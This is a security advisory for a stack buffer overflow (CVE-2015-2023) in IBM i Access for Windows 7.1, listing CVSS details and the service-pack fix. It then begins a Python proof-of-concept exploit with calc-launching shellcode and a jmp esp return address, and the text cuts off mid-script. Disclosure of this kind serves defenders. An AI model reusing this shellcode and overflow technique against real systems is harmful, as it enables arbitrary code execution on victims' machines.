[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt Vendor: ============== www.ibm.com Product: ==================================================== IBM i Access for Windows Release 7.1 of IBM i Access for Windows is affected Vulnerability Type: ======================= Stack Buffer Overflow Arbitrary Code Exec CVE Reference: ============== CVE-2015-2023 http://www-01.ibm.com/support/docview.wss?uid=nas8N1020996 Vulnerability Details: ===================== IBM i Access for Windows is vulnerable to a buffer overflow. A local attacker could overflow a buffer and execute arbitrary code on the Windows PC. client Access has ability to receive remote commands via "Cwbrxd.exe" service Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253 "Incoming remote command was designed for running non-interactive commands and programs on a PC", therefore a remote attacker could execute arbitrary code on the system. Remediation/Fixes The issue can be fixed by obtaining and applying the Service Pack SI57907. The buffer overflow vulnerability can be remediated by applying Service Pack SI57907. The Service Pack is available at: http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html Workarounds and Mitigations None known CVSS Base Score: 4.4 CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the current score CVSS Environmental Score*: Undefined CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) Exploit code(s): ============================================================================== Three python POC scriptz follow that exploitz various component of IBM i Access. 1) Exploits "ftdwprt.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") # use jmp or call esp in FTDBT.dll under AFPviewer for Client Access # we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00 (C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll) rp=struct.pack('